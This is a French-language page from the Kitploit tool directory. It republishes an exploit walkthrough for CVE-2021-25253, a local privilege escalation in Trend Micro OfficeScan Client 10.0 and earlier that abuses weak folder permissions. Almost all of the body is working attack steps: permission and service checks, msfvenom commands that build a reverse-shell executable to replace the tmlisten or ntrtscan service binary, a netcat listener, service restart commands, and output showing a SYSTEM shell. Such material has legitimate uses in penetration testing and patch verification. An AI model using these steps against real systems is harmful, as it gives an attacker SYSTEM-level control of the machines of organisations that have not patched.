Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-25253 — Exploit d'élévation de privilèges locaux pour Trend Micro OfficeScan Client <=10.0 via des listes de contrôle d'accès mal configurées sur le dossier d'installation, permettant un accès au niveau système par remplacement de binaire de service. | Kitploit
Outils/GitHubGitHub/msd0pe-1/cve-2021-25253
Escalade de PrivilègesGénération de PayloadsAnalyse des VulnérabilitésExploitationMauvaise Configuration
GitHubmsd0pe-1/cve-2021-25253

CVE-2021-25253

Exploit d'élévation de privilèges locaux pour Trend Micro OfficeScan Client <=10.0 via des listes de contrôle d'accès mal configurées sur le dossier d'installation, permettant un accès au niveau système par remplacement de binaire de service.

Voir le dépôt
12il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
root@kitploit:~
#########################################################################
#                                                                       #
#  Exploit Title: Trend Micro OfficeScan Client 10.0 - ACL Service LPE  #
#  Date: 2023/05/04                                                     #
#  Exploit Author: msd0pe                                               #
#  Vendor Homepage: https://www.trendmicro.com                          #
#  My Github: https://github.com/msd0pe-1                               # 
#                                                                       # 
#########################################################################

Client Trend Micro OfficeScan :

Les versions =< 10.0 contiennent des droits ACL incorrects sur le dossier du client OfficeScan, ce qui permet à un attaquant d'élever ses privilèges au niveau système via les services. Cette vulnérabilité ne nécessite aucun privilège préalable.

Vérifiez les droits du dossier :

root@kitploit:~
    > icacls "C:\Program Files (x86)\Trend Micro\OfficeScan Client"

    C:\Program Files (x86)\Trend Micro\OfficeScan Client NT SERVICE\TrustedInstaller:(F)
                                                         NT SERVICE\TrustedInstaller:(CI)(IO)(F)
                                                         NT AUTHORITY\SYSTEM:(F)
                                                         NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                         BUILTIN\Administrators:(F)
                                                         BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                         BUILTIN\Users:(F)
                                                         BUILTIN\Users:(OI)(CI)(IO)(F)
                                                         CREATOR OWNER:(OI)(CI)(IO)(F)
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)

Obtenez des informations sur les services :

root@kitploit:~
    > sc qc tmlisten

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: tmlisten
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\tmlisten.exe"
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Récepteur NT OfficeScan
            DEPENDENCIES       : Netman
                               : WinMgmt
            SERVICE_START_NAME : LocalSystem

OU

root@kitploit:~
    > sc qc ntrtscan

    SERVICE_NAME: ntrtscan
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\ntrtscan.exe"
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Analyse en temps réel NT OfficeScan
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem

Générer un shell inversé :

root@kitploit:~
    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o tmlisten.exe

OU

root@kitploit:~
    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o ntrtscan.exe

Téléversez le shell inversé vers C:\Program Files (x86)\Trend Micro\OfficeScan Client\tmlisten.exe OU C:\Program Files (x86)\Trend Micro\OfficeScan Client\ntrtscan.exe

Démarrer l'écouteur

root@kitploit:~
    > nc -lvp 4444

Redémarrer le service/serveur

root@kitploit:~
    > sc stop tmlisten
    > sc start tmlisten

OU

root@kitploit:~
    > sc stop ntrtscan
    > sc start ntrtscan

OU

root@kitploit:~
    > shutdown /r

Profitez !

root@kitploit:~
    192.168.1.102: inverse host lookup failed: Unknown host
    connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
    Microsoft Windows [Version 10.0.19045.2130]
    (c) Microsoft Corporation. All rights reserved.

    C:\Windows\system32>whoami

    nt authority\system
Télécharger l’outil